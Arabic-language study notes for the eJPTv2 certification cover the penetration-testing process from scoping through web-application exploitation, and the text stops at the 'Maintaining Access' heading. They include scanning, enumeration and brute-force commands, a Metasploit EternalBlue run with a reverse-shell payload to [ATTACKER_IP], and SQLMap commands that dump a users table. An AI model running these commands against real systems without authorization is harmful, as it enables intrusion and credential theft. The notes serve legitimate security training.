نوتس eJPTv2 — ملخص شامل لكل مراحل اختبار الاختراق
دليل مرجعي سريع لكل مراحل اختبار الاختراق كما وردت في كورس eJPTv2، من التخطيط والاتفاق مع العميل وحتى استغلال تطبيقات الويب، مع شرح للمفاهيم، الأدوات، أوامر التثبيت والاستخدام، وأمثلة عملية لكل مرحلة.
1 عملية اختبار الاختراق (Penetration Testing Process)
دي المراحل اللي بتمر بيها عملية اختبار الاختراق بالترتيب:
الفكرة الأساسية إن اختبار الاختراق مش "افتح Metasploit وابدأ تضرب Exploits عشوائي" — دي عملية منظمة، كل مرحلة فيها بتبني على اللي قبلها، ولو قفزت مرحلة أو استعجلت فيها، هتلاقي نفسك تايه في مرحلة الاستغلال من غير ما تعرف إنت بتخترق إيه بالظبط.
Engagement
دي المرحلة اللي بيتم فيها الاتفاق بين البينتستر والكلاينت (مالك المؤسسة). بيتحدد فيها:
- الـ Scope: إيه الأنظمة المسموح تختبرها بالظبط (IP Ranges، دومينات، تطبيقات)، وإيه اللي ممنوع تلمسه خالص
- نوع الاختبار: Black Box (من غير أي معلومات مسبقة)، White Box (بمعلومات كاملة عن البنية التحتية)، أو Grey Box (معلومات جزئية)
- السعر وعدد الأيام وعدد الساعات يوميًا المتاحة للاختبار
- نقطة التواصل (Point of Contact): مين اللي البينتستر هيتواصل معاه لو حصل حادث غير متوقع، زي إنه سبب تعطل لخدمة حقيقية بالغلط
- الـ Rules of Engagement (RoE): وثيقة رسمية بتوضح الصلاحيات القانونية للاختبار، وده اللي بيحميك لو حصل أي مشكلة
لو الكلاينت قالك "اختبر الشبكة الداخلية بتاعتنا"، وانت لقيت أثناء الفحص سيرفر خارج نطاق الـ IP Range المتفق عليه، الأصل إنك توقف وترجع تتأكد من الكلاينت قبل ما تكمل، حتى لو السيرفر ده شكله ضعيف وسهل الاختراق. الخروج عن الـ Scope من غير إذن بيحول اختبار الاختراق القانوني لجريمة إلكترونية.
Information Gathering
دي مرحلة جمع المعلومات، وبتتقسم لنوعين رئيسيين:
Passive Information Gathering
البينتستر بيجمع معلومات عن الهدف من غير أي تفاعل مباشر معاه، يعني الهدف نفسه أو أي جهاز تابع له ملهوش أي أثر إنك بتراقبه. المعلومات دي بتشمل:
- تحديد عناوين IP ومعلومات DNS
- تحديد أسماء النطاقات وملكيتها
- تحديد عناوين البريد الإلكتروني وملفات التعريف على وسائل التواصل الاجتماعي
- تحديد التقنيات المستخدمة في المواقع المستهدفة
- تحديد النطاقات الفرعية
Active Information Gathering
هنا بيحصل تفاعل مباشر مع الهدف (طلبات HTTP فعلية، اتصالات على منافذ، إلخ)، وده معناه إن فيه احتمال إن أنظمة الحماية زي الـ IDS/IPS تلاحظ نشاطك. المعلومات اللي بتجمعها هنا:
- اكتشاف المنافذ المفتوحة على الأنظمة المستهدفة
- التعرف على البنية التحتية الداخلية لشبكة الهدف
- استخراج المعلومات من الأنظمة المستهدفة مباشرة (زي banner grabbing)
الفرق العملي بينهم إن الـ Passive بتاخد وقت أطول وبتديك صورة عامة، والـ Active بتديك تفاصيل دقيقة لكنها بتزود فرصة اكتشافك.
تقنيات وأدوات جمع المعلومات
| التقنية | الاستخدام |
|---|---|
| Whois Enumeration | لجمع معلومات النطاق |
| DNS Recon | لاستكشاف وتحليل معلومات DNS |
| WAF Detection (wafw00f) | للكشف عن جدران الحماية |
| Subdomain Enumeration (Sublist3r / Amass) | لتحديد النطاقات الفرعية |
| Google Dorks | لاستخدام محركات البحث بفعالية في جمع المعلومات |
| Email Harvesting (theHarvester) | لجمع عناوين البريد الإلكتروني |
| Leaked Password Databases | للبحث في قواعد بيانات كلمات المرور المسربة |
| DNS Zone Transfers | لاستكشاف نقل مناطق DNS |
| سجلات DNS | A, AAAA, NS, MX, CNAME, TXT وغيرها |
| DNS Interrogation | تحليل سجلات DNS لاستخراج IPs والنطاقات الفرعية |
| Host Discovery (Nmap) | لاكتشاف الأجهزة الموجودة على الشبكة |
| Port Scanning (Nmap) | لفحص المنافذ المفتوحة |
| Shodan | محرك بحث للأجهزة المتصلة بالإنترنت مباشرة (كاميرات، راوترات، سيرفرات) |
| Maltego | ربط المعلومات المجمّعة ببعض بصريًا (أشخاص، دومينات، إيميلات) في خريطة واحدة |
لو الـ DNS Zone Transfer مكوّن بشكل غير صحيح، ممكن يتم استغلاله للحصول على نظرة شاملة على شبكة المؤسسة بالكامل — بما فيها أسماء السيرفرات الداخلية وعناوينها، وده بيوفر عليك مجهود اكتشاف كبير.
تثبيت واستخدام الأدوات
Whois
sudo apt-get update
sudo apt-get install whoiswhois example.com
whois 8.8.8.8بتطلعلك معلومات زي: مين مسجل الدومين، تاريخ التسجيل والانتهاء، وسيرفرات الـ DNS المرتبطة بيه. مفيدة كخطوة أولى قبل أي حاجة تانية.
wafw00f
python3 --version
pip3 install wafw00fwafw00f http://example.comبتساعدك تعرف لو فيه جدار حماية (WAF) بيحمي التطبيق، ونوعه (Cloudflare، Akamai، ModSecurity...)، وده بيأثر على طريقة تعاملك مع التطبيق بعد كده — مثلًا لو فيه WAF، هجمات SQL Injection المباشرة هتتحظر، فهتحتاج تفكر في تقنيات Evasion.
Sublist3r
sudo apt-get install git
pip install -r requirements.txtpython sublist3r.py -d example.comبتجمع النطاقات الفرعية من مصادر متعددة (Google، Bing، Yahoo، VirusTotal...) في أمر واحد. لو لقيت subdomain زي dev.example.com أو staging.example.com، غالبًا دي بتبقى بيئات أقل تأمينًا من الموقع الرئيسي.
theHarvester
sudo apt-get install git
git clone https://github.com/laramies/theHarvester.git
pip install -r requirements.txtpython3 theHarvester.py -d example.com -b allالإيميلات اللي بتجمعها هنا مش بس لغرض التوعية، دي بتفيدك بعد كده في هجمات زي Password Spraying على بوابات تسجيل الدخول (VPN، Webmail، Office365).
Nmap
sudo apt-get update
sudo apt-get install nmapnmap -p 80 example.comتخيل عندك دومين target.com. أول خطوة whois target.com تعرف بيه مين صاحب الدومين وأسماء الـ Name Servers. بعدها sublist3r -d target.com تكتشف إن فيه mail.target.com وvpn.target.com. تجيب إيميلات الموظفين بـ theHarvester، وتشوف لو فيه WAF قدام الموقع الرئيسي بـ wafw00f. في الآخر، عندك صورة كاملة عن الهدف من غير ما تبعت أي طلب فحص شرس واحد لسه.
كدا خلصنا جزء الـ Information Gathering بالكامل.
2 التتبع والفحص (Footprinting and Scanning)
السكشن ده لا يقل أهمية عن اللي قبله، لأن عملية الاستطلاع وجمع المعلومات بتشكل نسبة كبيرة من نجاح عملية اختبار الاختراق بالكامل — الإحصائية الشائعة في المجال إن حوالي 60-70% من وقت أي اختبار اختراق حقيقي بيروح في الاستطلاع والفحص، مش في الاستغلال نفسه.
الفكرة الأساسية: قبل ما تبدأ تخترق أي حاجة، لازم تجمع كل المعلومات اللي تقدر توصلها عن الهدف بدون ما تخليه يحس إنك بتراقبه.
أنواع جمع المعلومات
1. Passive Footprinting
جمع معلومات عن الهدف من غير أي تفاعل مباشر معاه — زي متابعة أخبار الشركة، الـ LinkedIn بتاع الموظفين، أو المستندات المتاحة على الإنترنت.
- Google Dorking: استخدام جوجل بطرق ذكية للوصول لملفات أو صفحات محددة على الموقع المستهدف:
site:target.com filetype:pdf site:target.com inurl:admin site:target.com intitle:"index of" - TheHarvester: لجمع الإيميلات، الدومينات، وعناوين IP الخاصة بالشركة
- Recon-ng: أداة بتجمع المعلومات بشكل منظم وتلقائي، وبتشتغل بنظام Modules زي Metasploit بالظبط
2. Active Footprinting
هنا بيبدأ التفاعل المباشر مع الهدف — زي فحص الأجهزة أو الخدمات الشغالة عنده.
- Nmap: بيفحص المنافذ والخدمات الشغالة على الجهاز
- Netcraft: بيدي معلومات عن الموقع والسيرفر، وحتى تاريخ التغييرات اللي حصلت في التقنيات المستخدمة بمرور الوقت
- Shodan: زي محرك بحث بس مخصص للأجهزة المتصلة بالإنترنت — ممكن تدور فيه بـ
org:"Target Company"وتلاقي كل الأجهزة المعرّفة باسم الشركة
المعلومات اللي لازم تجمعها
- معلومات الدومين: بيانات DNS، معلومات التسجيل، والـ Subdomains
- معلومات الشركة: عناوين IP، مواقع المكاتب، والموظفين
- معلومات الموقع: التكنولوجيات المستخدمة، السيرفرات، والحماية
الفحص (Scanning)
بعد جمع المعلومات، بييجي دور الفحص عشان تعرف إيه الشغال على النظام من خدمات — وده بيبقى الأساس اللي هتبني عليه أي محاولة اختراق بعد كده. الفكرة ببساطة: من غير Scanning إنت عمال تحاول تخترق حاجة إنت أصلًا مش عارف هي شغالة ولا لأ.
1. فحص المنافذ (Port Scanning)
الأداة الأساسية هنا هي Nmap — بتفحص المنافذ، تعرف نظام التشغيل، والخدمات الشغالة.
nmap -sS -p- [TARGET_IP] # فحص كل المنافذ
nmap -sV -p 80,443 [TARGET_IP] # عرض تفاصيل الخدمات
nmap -O [TARGET_IP] # اكتشاف نظام التشغيلفحص سريع وفحص شامل:
nmap -T4 -F 192.168.1.1 # فحص سريع للمنافذ المفتوحة
nmap -sS -p- 192.168.1.1 # فحص كل المنافذ من 1 لـ 65535فرق بسيط بين أنواع الفحص المهمة:
| النوع | الأمر | ملاحظات |
|---|---|---|
| TCP SYN Scan | nmap -sS | أسرع نوع وأكتر Stealthy، بيحتاج صلاحيات root |
| TCP Connect Scan | nmap -sT | بيكمل الـ Handshake بالكامل، أبطأ وأسهل اكتشافه |
| UDP Scan | nmap -sU | أبطأ بكتير، لكن مهم جدًا لخدمات زي SNMP وDNS |
| Aggressive Scan | nmap -A | بيجمع OS Detection + Version Detection + Scripts + Traceroute في أمر واحد |
لو عملت nmap -sV [TARGET_IP] ولقيت المنفذ 445 مفتوح وعليه Microsoft-DS، ده معناه غالبًا الجهاز ده Windows وشغال عليه SMB — يبقى خطوتك التالية منطقيًا تكون Enumeration للـ SMB، مش مثلاً تحاول Exploit خاص بـ Apache.
Masscan — بيعمل نفس شغل Nmap بس أسرع بكتير، ومناسب لفحص ملايين المنافذ في ثواني، خصوصًا لو بتفحص شبكة كبيرة أو نطاق IP واسع:
masscan -p1-65535 192.168.1.0/24 --rate=1000Unicornscan — أداة قوية لفحص الشبكات الكبيرة وعندها قدرات مميزة في التعامل مع بروتوكولات مختلفة:
unicornscan -i eth0 -mT -p 1-65535 192.168.1.12. فحص الثغرات (Vulnerability Scanning)
بعد ما نعرف المنافذ والخدمات، بنشوف لو فيها ثغرات معروفة.
- Nessus: أداة شاملة بتفحص وتطلع تقرير كامل بالثغرات مصنفة من Critical لحد Low
- OpenVAS: نسخة مفتوحة المصدر بتعمل نفس الشغل تقريبًا
- Nikto: بتفحص السيرفرات وتكشف الثغرات أو الإعدادات الخاطئة
nikto -h http://example.com
3. فحص الشبكة (Network Scanning)
الهدف هنا معرفة مين متصل على الشبكة والشبكات الفرعية.
Netdiscover:
netdiscover -r 192.168.1.0/24Fping — بيعمل Ping على مجموعة عناوين IP بسرعة:
fping -a -g 192.168.1.0/24Angry IP Scanner — أداة بواجهة رسومية سهلة لفحص عناوين الـ IP.
أدوات إضافية مفيدة
- Wireshark: لمراقبة الشبكة وفهم اللي بيحصل فيها لحظة بلحظة
- Dirbuster / Dirb: لاكتشاف الملفات والدلائل المخفية على السيرفر
- Gobuster: بديل أسرع وأخف من Dirbuster، مكتوب بلغة Go، ومفيد للـ Directory Brute-forcing والـ DNS Subdomain discovery في أداة واحدة:
gobuster dir -u http://example.com -w /usr/share/wordlists/dirb/common.txt - Fierce: لفحص معلومات DNS بشكل متقدم
- Dnsenum: للبحث في معلومات DNS بتفصيل أكبر
- Netcat: أداة كلاسيكية لـ Banner Grabbing يدويًا والتأكد من الخدمة الشغالة فعليًا على منفذ معين:
nc -nv [TARGET_IP] 22
نصائح للفحص
- اتأكد من الأذونات — قبل أي فحص، لازم يكون عندك إذن رسمي من صاحب الشبكة أو الموقع
- حلل كويس — النتائج ممكن تكون كتير، خد وقتك في التحليل وما تستعجلش
- جرب أكتر من أداة — كل أداة ليها طريقة فحص مختلفة، فممكن تطلعلك معلومات مختلفة
- وثّق كل حاجة أول بأول — بدل ما تعتمد على ذاكرتك، احفظ نتيجة كل سكان في ملف باستخدام
-oNأو-oAفي Nmap، هتحتاجها وقت كتابة التقرير
3 الاستخراج (Enumeration)
الـ Enumeration بتيجي بعد مرحلة الـ Scanning، وفيها بنطلع معلومات أكتر تفصيلًا عن النظام أو الشبكة اللي بنستهدفها — مين شغال في الشركة، إيه الخدمات الشغالة، إيه الأجهزة المتصلة بالشبكة، وتفاصيل كتير تانية.
الـ Scanning بيقولك "المنفذ 445 مفتوح"، بينما الـ Enumeration بيقولك "المنفذ 445 مفتوح، والشير اسمه Finance، وفيه صلاحية كتابة، والمستخدمين اللي عندهم صلاحية عليه هما دول". يعني الـ Enumeration هي المرحلة اللي بتحول معلومة عامة لمعلومة قابلة للاستغلال فعليًا.
أنواع الـ Enumeration
- Network Enumeration: معرفة الأجهزة الموجودة في الشبكة وكل جهاز شغال عليه إيه
- User Enumeration: استخراج المستخدمين الشغالين على السيرفر أو الشبكة
- Service Enumeration: معرفة الخدمات الشغالة على كل جهاز (FTP، HTTP، SMB... إلخ)
- Protocol Enumeration: استخراج معلومات عن البروتوكولات المستخدمة في الشبكة (SNMP، NetBIOS، LDAP...)
1. Network Enumeration
Nmap — لعمل مسح شامل على الشبكة ومعرفة كل الأجهزة المتصلة:
nmap -sn 192.168.1.0/24Netdiscover:
netdiscover -r 192.168.1.0/24ARP Scan — لجلب الأجهزة المتصلة باستخدام بروتوكول ARP:
arp-scan -l2. User Enumeration
RPCclient — لفتح جلسة على جهاز عن طريق SMB واستخراج بيانات المستخدمين. مفيدة جدًا لو الجهاز بيسمح بـ Null Session (يعني اتصال من غير Username أو Password):
rpcclient -U "" [TARGET_IP]وبعدها جوا الجلسة:
enumdomusersenum4linux — بيدي تفاصيل شاملة عن أنظمة الويندوز (مستخدمين، جروبات، سياسات كلمات المرور، الشيرز، حتى معلومات عن الدومين نفسه) في أمر واحد:
enum4linux -a [TARGET_IP]smbclient — للاتصال المباشر بالشيرز واستعراض محتواها زي ما بتعمل مع FTP تقريبًا:
smbclient -L //[TARGET_IP] -N
smbclient //[TARGET_IP]/ShareName -NNmap Scripts:
nmap --script smb-enum-users -p 445 [TARGET_IP]Hydra — لتجربة كلمات مرور مختلفة على قائمة مستخدمين:
hydra -L users.txt -P passwords.txt [TARGET_IP] smbلقيت جهاز Windows على المنفذ 445 بيسمح بـ Null Session. عملت enum4linux -a [TARGET_IP] ولقيت قائمة مستخدمين فيها j.smith, a.hassan, admin. جمعت الأسماء دي في ملف users.txt، وبعدين رحت أعمل Password Spraying بكلمة واحدة شائعة (زي Summer2024!) على كل المستخدمين دول بدل ما أحاول Brute-force حساب واحد بقايمة كلمات كبيرة — ده بيقلل فرصة إن الحساب يتقفل بسبب سياسة الـ Account Lockout.
3. Service Enumeration
Nmap Service Scripts:
nmap --script ftp-anon,ftp-bounce,ftp-syst -p 21 [TARGET_IP]Nikto:
nikto -h http://example.comshowmount — مخصصة لخدمة NFS، بتوريك أي مجلدات متاحة للمشاركة عن بعد:
showmount -e [TARGET_IP]Metasploit Auxiliary Modules:
use auxiliary/scanner/smb/smb_enumshares
set RHOSTS [TARGET_IP]
run4. Protocol Enumeration
SNMP Enumeration:
snmpwalk -v 2c -c public [TARGET_IP]بروتوكول SNMP لو شغال بـ Community String افتراضي زي public أو private، ممكن يسرّبلك معلومات ضخمة عن الجهاز — من نظام التشغيل لحد جداول الـ Routing، وأحيانًا حتى المستخدمين المحليين.
snmp-check — بديل بواجهة أوضح لـ snmpwalk:
snmp-check [TARGET_IP] -c publicNetBIOS Enumeration:
nbtscan 192.168.1.0/24LDAP Enumeration:
ldapsearch -x -h [TARGET_IP] -b "dc=example,dc=com"الـ Enumeration محتاجة صبر واهتمام بالتفاصيل الصغيرة — أكتر ثغرة ممكن تلاقيها بتيجي من حاجة بسيطة زي إعداد غلط أو مستخدم ناسي يقفل الـ FTP. القاعدة العملية اللي أتبعها دايمًا: لو فيه بورت مفتوح، جرب كل الـ Enumeration الممكنة عليه قبل ما تنتقل للجهاز اللي بعده — رجوعك تاني بعد ساعات ممكن يضيع وقت كبير في إعادة التموضع.
4 تقييم الثغرات (Vulnerability Assessment)
الـ Vulnerability Assessment أو تقييم الثغرات هو إنك تفحص نظام أو شبكة أو موقع عشان تلاقي نقاط الضعف اللي ممكن الهاكر يستغلها — الهدف إنك تلاقيها قبله.
بينها وبين Penetration Testing الكامل: الـ VA بيوقف عند "اكتشاف وتوثيق الثغرة"، بينما الـ Pentest بيكمل خطوة كمان ويحاول يستغل الثغرة فعليًا عشان يثبت تأثيرها الحقيقي (مش كل ثغرة نظرية قابلة للاستغلال فعليًا).
خطوات التقييم
- التخطيط والتحضير: تحديد نطاق الفحص (سيرفر، شبكة، موقع...)، الاتفاق على الأدوات، والتأكد من موافقة صاحب النظام. الفحص ممكن يكون:
- خارجي: الحاجات اللي أي حد من بره الشبكة يقدر يوصلها (زي Web Servers)
- داخلي: فحص الأنظمة اللي جوا الشبكة
- جمع المعلومات: الـ IPs الشغالة، أنظمة التشغيل، والخدمات (FTP، HTTP...)
- الفحص: على مستوى الشبكة، الأنظمة، والتطبيقات (SQL Injection، XSS، إلخ)
- تحليل النتائج: تقييم خطورة كل ثغرة وتأثيرها المحتمل — هنا عادةً بيتم استخدام معيار CVSS (Common Vulnerability Scoring System) لإدي كل ثغرة رقم من 0 لـ 10 بناءً على خطورتها الفعلية، مش مجرد وصف عام
- كتابة التقرير: توثيق الثغرات وخطورتها وطرق إصلاحها
- المتابعة (Remediation & Re-Assessment): التأكد إن الثغرات اتقفلت فعلًا بعد الإصلاح
أهم الأدوات
| الأداة | الاستخدام |
|---|---|
| Nessus | فحص شامل للشبكة والأنظمة والبرامج مع تقرير مفصل |
| OpenVAS | نفس فكرة Nessus لكن مفتوحة المصدر |
| QualysGuard | خدمة سحابية لفحص الأنظمة والشبكات |
| Nikto | فحص مواقع الويب عن الثغرات والإعدادات الخاطئة |
| Burp Suite | اختبار تطبيقات الويب (SQL Injection، XSS، إلخ) |
| Nexpose (InsightVM) | من أدوات Rapid7، بتتكامل بسهولة مع Metasploit لنقل نتايج الفحص مباشرة لمرحلة الاستغلال |
| Nuclei | أداة حديثة وسريعة جدًا بتعتمد على Templates جاهزة لفحص آلاف الثغرات المعروفة (CVEs) في وقت قصير |
خطوات فحص شامل سريع
# 1. ابدأ بـ Nmap لمعرفة المنافذ والخدمات
nmap -sV -sC -oN scan_results.txt [TARGET_IP]بعدها:
- استخدم Nessus أو OpenVAS لفحص شامل على الـ IPs اللي جمعتها
- استخدم Burp Suite أو Nikto لو فيه تطبيق ويب
- حلل النتائج واكتب التقرير
فحصت جهاز بـ Nessus ولقيت النتيجة بتقول إن نسخة SMB القديمة الشغالة على الجهاز عرضة لـ MS17-010 (EternalBlue)، ودرجة الخطورة CVSS تسجل 9.8 من 10. الخطوة المنطقية بعد كده مش إنك تصلح المشكلة بنفسك، لكن توثقها في تقييمك وتوضح إن الثغرة دي بتسمح بتنفيذ أوامر عن بعد بدون أي مصادقة — وده اللي بيخلي أولويتها Critical.
نصائح
- حافظ على تحديث الأدوات باستمرار — الأدوات القديمة ممكن ماتكتشفش الثغرات الجديدة
- راجع النتائج بنفسك دايمًا، الأدوات مش دايمًا دقيقة 100% — ممكن تطلع False Positives
- بلّغ الفريق فورًا بأي ثغرة حرجة (Critical) بمجرد اكتشافها، مش لما تخلص الفحص بالكامل
- تابع الثغرات الجديدة اللي بتظهر باستمرار (نشرات CVE يوميًا)
5 تدقيق الشبكات (Network Auditing)
تدقيق الشبكات هو فحص وتحليل الشبكة بالكامل عشان تعرف الأجهزة الموجودة، الخدمات الشغالة، إعدادات الشبكة، الثغرات الأمنية، وأي أخطاء ممكن تأثر على الأداء أو الأمان.
بخلاف الـ Pentest اللي بيركز على "هل ممكن أخترق؟"، الـ Network Auditing بيركز أكتر على "هل الإعدادات دي متوافقة مع أفضل الممارسات الأمنية؟"
ليه بنعمل Network Auditing؟
- تحسين الأمان: اكتشاف الثغرات وسدها
- تحسين الأداء: كشف المشاكل اللي بتأثر على سرعة الشبكة
- الامتثال (Compliance): التأكد من التوافق مع معايير زي PCI-DSS وISO
- الكشف عن الأخطاء: اكتشاف الأخطاء في الإعدادات قبل ما تسبب مشاكل كبيرة
خطوات التدقيق
- جمع المعلومات الأولية: عمل Inventory لكل الأجهزة المتصلة (Routers, Switches, Servers, Workstations)
nmap -sV -oN network_scan.txt [IP Range] - فحص الأجهزة والخدمات: التأكد من إن المنافذ المفتوحة هي المطلوبة فقط — مثلًا لو لقيت Telnet شغال على راوتر، ده Red Flag فورًا لأنه بروتوكول غير مشفر
- مراجعة إعدادات الشبكة: ACLs، VLANs، إعدادات الـ Routing، وتقسيم الشبكة (Segmentation) — شبكة من غير Segmentation معناها لو جهاز واحد اتخترق، المهاجم يقدر يوصل لكل حاجة تانية بسهولة
- تحليل حركة المرور: باستخدام Wireshark لرصد أي بيانات أو اتصالات غير طبيعية، زي بيانات بتتنقل بدون تشفير أو اتصالات لجهات خارجية مشبوهة
- فحص الأمان: كلمات مرور ضعيفة/افتراضية، بروتوكولات غير آمنة (FTP، Telnet)، أنظمة قديمة — باستخدام Nessus/OpenVAS وHydra/Medusa
- فحص الـ Firewall والـ IDS/IPS: التأكد من فعاليتها في منع ورصد الاتصالات المشبوهة
- تحليل السجلات (Logs): مراجعة سجلات الـ Routers والـ Firewalls والـ Servers لرصد محاولات دخول فاشلة
- اختبار الإعدادات السيئة: تجربة كلمات مرور افتراضية، محاولة الوصول لموارد بدون صلاحيات، التأكد من عدم استخدام SNMP Public Community Strings
- كتابة التقرير: توثيق الثغرات والمشاكل والتوصيات
- المتابعة: إعادة التدقيق بعد الإصلاح للتأكد من إغلاق الثغرات
أدوات مهمة
- Nmap: فحص الأجهزة والخدمات في الشبكة
- Wireshark: مراقبة وتحليل حركة المرور
- Nessus / OpenVAS: فحص الثغرات
- SolarWinds Network Performance Monitor: مراقبة أداء الشبكة
- Splunk / ELK Stack: تحليل السجلات
- PRTG Network Monitor: لمراقبة حالة الأجهزة والخدمات باستمرار وإرسال تنبيهات لحظية عند حدوث مشكلة
أثناء تدقيق شبكة شركة صغيرة، لاحظت إن كل الأجهزة على نفس الـ VLAN — يعني جهاز الموظفين العادي على نفس شبكة سيرفرات المحاسبة. حتى لو محدش استغل ده فعليًا، ده بحد ذاته "ثغرة تصميمية" لازم تتسجل في التقرير كـ Finding، لأنها بتوسع دائرة الخطر لو أي جهاز عادي اتخترق.
نصائح
- راجع كل جهاز وكل خدمة، حتى لو باين إنها مش مهمة
- استخدم الأدوات المناسبة لحجم وتعقيد الشبكة
- أغلب الثغرات بتيجي من إعدادات غلط — راجعها كويس
- حلل حركة المرور وتأكد إنها طبيعية
- ابقى محدث بالثغرات الجديدة دايمًا
6 اختبار اختراق الشبكات (Network Penetration Testing)
هنا بتمثل دور الهاكر فعليًا وتحاول تخترق شبكة معينة عشان تكتشف الثغرات ونقاط الضعف فيها قبل ما حد تاني يكتشفها ويستغلها.
الخطوات
1. التخطيط والموافقة
خد إذن رسمي من صاحب الشبكة يوضح نطاق الفحص والأدوات المسموح استخدامها — ده بيحميك قانونيًا.
2. جمع المعلومات
الأجهزة الموجودة، الـ IP Range، وأنظمة التشغيل الشغالة.
nmap -sn [IP Range]بالإضافة لـ WHOIS وNSLookup لمعرفة معلومات الدومين والـ IP.
3. الفحص
- Port Scanning بـ Nmap
- Service Enumeration لمعرفة الخدمات الشغالة على كل منفذ
4. Enumeration
- enum4linux: لاستخراج معلومات SMB
- SNMPwalk: لسحب البيانات من الأجهزة اللي شغالة عليها SNMP
- rpcclient: لجلب معلومات RPC Services
5. Vulnerability Assessment
فحص شامل بـ Nessus أو OpenVAS لاكتشاف الأنظمة غير المحدثة، البروتوكولات القديمة، وكلمات المرور الضعيفة.
6. Exploitation
استغلال الثغرات المكتشفة فعليًا، على سبيل المثال:
- لو فيه ثغرة SMB → Metasploit
- لو فيه SSH مفتوح → محاولة Brute-force
- Metasploit Framework: فيه Exploits جاهزة للاستخدام المباشر
- Hydra / Medusa: لهجمات الـ Brute-force
فحصت جهاز Windows Server ولقيت المنفذ 445 مفتوح بنسخة SMB قديمة. أكدت الثغرة بـ Nessus، ولقيتها فعلًا MS17-010. فتحت Metasploit:
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS [TARGET_IP]
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST [ATTACKER_IP]
exploitولو نجح الاستغلال، هتلاقي نفسك جوا Meterpreter Session بصلاحيات SYSTEM مباشرة — لأن الثغرة دي من نوع Remote Code Execution بدون مصادقة.
7. Maintaining Access
تثبيت الوجود على الجهاز بعد الدخول — زي إنشاء Backdoor بـ Netcat أو رفع Web Shell.
8. Privilege Escalation
رفع الصلاحيات من مستخدم عادي لـ Admin، باستخدام أدوات زي Linux Exploit Suggester أو Windows Exploit Suggester — الفكرة هنا إنك بتجمع معلومات عن الكيرنل والتحديثات المثبتة، وبتقارنها بقاعدة بيانات ثغرات معروفة لرفع الصلاحيات.
9. Pivoting
التحرك من جهاز لجهاز جوا نفس الشبكة باستخدام الجهاز المخترق كبوابة، عبر أدوات زي Chisel أو Proxychains. مفيدة جدًا لما تكتشف إن الجهاز اللي اخترقته عنده كارت شبكة تاني متصل بشبكة داخلية تانية إنت أصلًا مش قادر توصلها مباشرة.
10. Post-Exploitation
سحب أي معلومات حساسة — ملفات، Passwords، بيانات مهمة. أدوات زي Mimikatz بتستخدم هنا لسحب كلمات المرور المخزنة في الذاكرة على أنظمة Windows.
11. Covering Tracks & Reporting
مسح أي أثر يدل على تواجدك على النظام، وكتابة تقرير شامل بكل الثغرات اللي اتكشفت واتستغلت وطرق إصلاحها.
في اختبارات الاختراق الاحترافية غالبًا الـ RoE بتطلب منك إنك متمسحش آثارك بالكامل، عشان فريق الـ Blue Team يقدر يتمرن على اكتشافها كجزء من التمرين.
الأدوات المستخدمة
- Nmap: فحص الشبكة والمنافذ
- Metasploit Framework: استغلال الثغرات
- Burp Suite: اختبار تطبيقات الويب
- Hydra / Medusa: هجمات Brute-force
- Wireshark: تحليل الشبكة
- CrackMapExec: أداة ممتازة للتحقق السريع من صلاحية بيانات اعتماد على مجموعة أجهزة كاملة في أمر واحد، ومفيدة جدًا في بيئات Active Directory
- BloodHound: لرسم العلاقات بين المستخدمين والجروبات والأجهزة في بيئة Active Directory بصريًا، وبيوريك أقصر مسار من مستخدم عادي لصلاحيات Domain Admin
نصائح مهمة
- خد إذن رسمي أول أي حاجة — الشغل لازم يكون قانوني
- ابدأ دايمًا بجمع المعلومات كفاية قبل أي خطوة تانية
- اختار الأداة المناسبة لكل موقف، مش كل أداة تنفع في كل هجوم
7 اختبار اختراق تطبيقات الويب (Web Application Penetration Testing)
هنا بتحاكي دور الهاكر لاكتشاف الثغرات في تطبيقات الويب — الهدف حماية التطبيق من أي هجوم محتمل ومساعدة المطورين في تحسين الأمان.
الخطوات
1. التخطيط والموافقة
زي اختبار الشبكات بالظبط — إذن رسمي من أصحاب التطبيق، وتحديد حدود الفحص بدقة.
2. جمع المعلومات
فهم هيكل التطبيق، وظائفه، وطريقة تفاعل المستخدمين معاه.
- WHOIS: معلومات الدومين
- NSLookup: سجلات DNS
- Google Dorking: للوصول لمعلومات حساسة عن التطبيق
3. فحص التطبيق
- OWASP ZAP: أداة مفتوحة المصدر لفحص تطبيقات الويب
- Burp Suite: من أشهر أدوات فحص تطبيقات الويب
- Wappalyzer: إضافة متصفح بتكشفلك التقنيات المستخدمة في بناء الموقع (لغة البرمجة، الـ CMS، المكتبات الأمامية) في ثواني
4. Enumeration
استخراج نقاط الدخول في التطبيق — نماذج التسجيل، API endpoints، وكل مكون ممكن يتم استغلاله.
- Burp Suite: لتعديل الطلبات والاستجابات
- Postman: لتجربة الـ APIs
- Gobuster / Wfuzz: لاكتشاف الصفحات والمسارات المخفية اللي مش ظاهرة في القائمة الرئيسية للموقع:
wfuzz -c -z file,/usr/share/wordlists/dirb/common.txt --hc 404 http://example.com/FUZZ
5. Vulnerability Assessment
البحث عن أنواع ثغرات محددة:
- SQL Injection: حقن استعلامات ضارة في قواعد البيانات
- Cross-Site Scripting (XSS): حقن سكريبتات ضارة في صفحات الويب
- Cross-Site Request Forgery (CSRF): إجبار المستخدم على تنفيذ إجراءات غير مرغوبة
- Insecure Direct Object References (IDOR): الوصول غير المصرح به للموارد
- File Upload Vulnerabilities: رفع ملفات ضارة (زي Web Shell) لو التطبيق مش بيتحقق كويس من نوع الملف المرفوع
- Local/Remote File Inclusion (LFI/RFI): تضمين ملفات من السيرفر نفسه أو من مصدر خارجي، وده ممكن يوصل لتنفيذ أوامر
6. Exploitation
- SQLMap: لتسهيل استغلال ثغرات SQL Injection
- XSSer: لاكتشاف واستغلال ثغرات XSS
لاقيت باراميتر ?id=1 في رابط الموقع بيرجع بيانات مختلفة حسب الرقم. جربت ?id=1' ورجعلي Error من قاعدة البيانات — ده مؤشر قوي على SQL Injection. أكدت الثغرة وبعدين استخدمت SQLMap لأتمتة عملية الاستخراج:
sqlmap -u "http://example.com/vuln.php?id=1" --dbs
sqlmap -u "http://example.com/vuln.php?id=1" -D webapp_db --tables
sqlmap -u "http://example.com/vuln.php?id=1" -D webapp_db -T users --dumpالخطوات دي بترجع أسماء قواعد البيانات، بعدها الجداول، وفي الآخر البيانات نفسها (زي جدول المستخدمين وكلمات مرورهم المشفرة).
7. Privilege Escalation
رفع الصلاحيات لو دخلت بحساب محدود، عن طريق البحث عن نقاط ضعف إضافية في التطبيق — زي تعديل قيمة Cookie أو Parameter بيحدد دور المستخدم (role=user → role=admin).
8. Maintaining Access
